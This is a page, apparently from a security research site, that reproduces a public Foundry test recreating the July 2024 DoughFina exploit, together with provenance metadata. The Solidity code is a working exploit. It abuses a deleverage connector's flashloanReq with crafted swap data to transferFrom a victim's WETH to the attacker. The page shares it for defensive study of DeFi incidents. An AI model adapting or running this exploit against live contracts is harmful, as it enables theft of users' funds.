Public reproduction file
src/test/2024-07/DoughFina_exp.sol
Public reproduction file for dataset entry DoughFina.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~1.81M USD5// TX : https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e6// Attacker : https://etherscan.io/address/0x67104175fc5fabbdb5a1876c3914e04b94c717417// Attack Contract : https://etherscan.io/address/0x11a8dc866c5d03ff06bb74565b6575537b2159788// GUY : https://x.com/CertiKAlert/status/181166899288230747810import "forge-std/Test.sol";11import "./../interface.sol";13interface ConnectorDeleverageParaswap {14 function flashloanReq(15 bool _opt,16 address[] memory debtTokens,17 uint256[] memory debtAmounts,18 uint256[] memory debtRateMode,19 address[] memory collateralTokens,20 uint256[] memory collateralAmounts,21 bytes[] memory swapData22 ) external;23}25contract ContractTest is Test {26 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);27 ConnectorDeleverageParaswap vulnContract = ConnectorDeleverageParaswap(0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6);28 IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);29 address onBehalfOf = 0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;30 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);32 function setUp() public {33 vm.createSelectFork("mainnet", 20_288_622);34 deal(address(USDC), address(this), 80_000_000 ether); //FlashLoan35 }37 function testExploit() public {38 attack();39 emit log_named_decimal_uint(40 "[End] Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()41 );42 }44 function attack() public {45 USDC.approve(address(aave), type(uint256).max);46 aave.repay(address(USDC), 938_566_826_811, 2, address(onBehalfOf));47 USDC.transfer(address(vulnContract), 6_000_000);48 address[] memory debtTokens = new address[](1);49 debtTokens[0] = address(USDC);50 uint256[] memory debtAmounts = new uint256[](1);51 debtAmounts[0] = 5_000_000;52 uint256[] memory debtRateMode = new uint256[](1);53 debtRateMode[0] = 0;54 address[] memory collateralTokens = new address[](0);55 uint256[] memory collateralAmounts = new uint256[](0);56 bytes[] memory swapData = new bytes[](2);57 swapData[0] = abi.encode(58 address(USDC),59 address(USDC),60 type(uint128).max,61 type(uint128).max,62 address(onBehalfOf),63 address(onBehalfOf),64 abi.encodeWithSelector(65 bytes4(0x75b4b22d), 22, address(USDC), 5_000_000, address(WETH), 596_744_648_055_377_423_623, 266 )67 );68 swapData[1] = abi.encode(69 address(USDC),70 address(USDC),71 type(uint128).max,72 type(uint128).max,73 address(WETH),74 address(aave),75 abi.encodeWithSelector(bytes4(0x23b872dd), address(onBehalfOf), address(this), 596_744_648_055_377_423_623)76 );77 vulnContract.flashloanReq(78 false, debtTokens, debtAmounts, debtRateMode, collateralTokens, collateralAmounts, swapData79 );80 }82 function executeAction(83 uint256 _connectorId,84 address _tokenIn,85 uint256 _inAmount,86 address _tokenOut,87 uint256 _outAmount,88 uint256 _actionId89 ) external payable {}90 receive() external payable {}91}Analysis
Dataset entry
Public Foundry test for “DoughFina” (2024-07-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
- src/test/2024-07/GAX_exp.solSame month in the dataset · 36 lines
- src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
- src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame month in the dataset · 128 lines
- src/test/2024-07/Minterest_exp.solSame month in the dataset · 151 lines
- src/test/2024-07/MRP_exp.solSame month in the dataset · 61 lines
- src/test/2024-07/SBT_exp.solSame month in the dataset · 53 lines
- src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
- src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame month in the dataset · 31 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x67104175fc5fabbdb5a1876c3914e04b94c71741
- Attack Contract
0x11a8dc866c5d03ff06bb74565b6575537b215978
File record
- Name
- DoughFina
- Path
- src/test/2024-07/DoughFina_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6f7314dbc9a9143817ff14e4c0b1f88ac36e60d0
- Language
- Solidity
- Size
- 92 lines
- Date
- 2024-07-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-07/DoughFina_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6f7314dbc9a9143817ff14e4c0b1f88ac36e60d0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.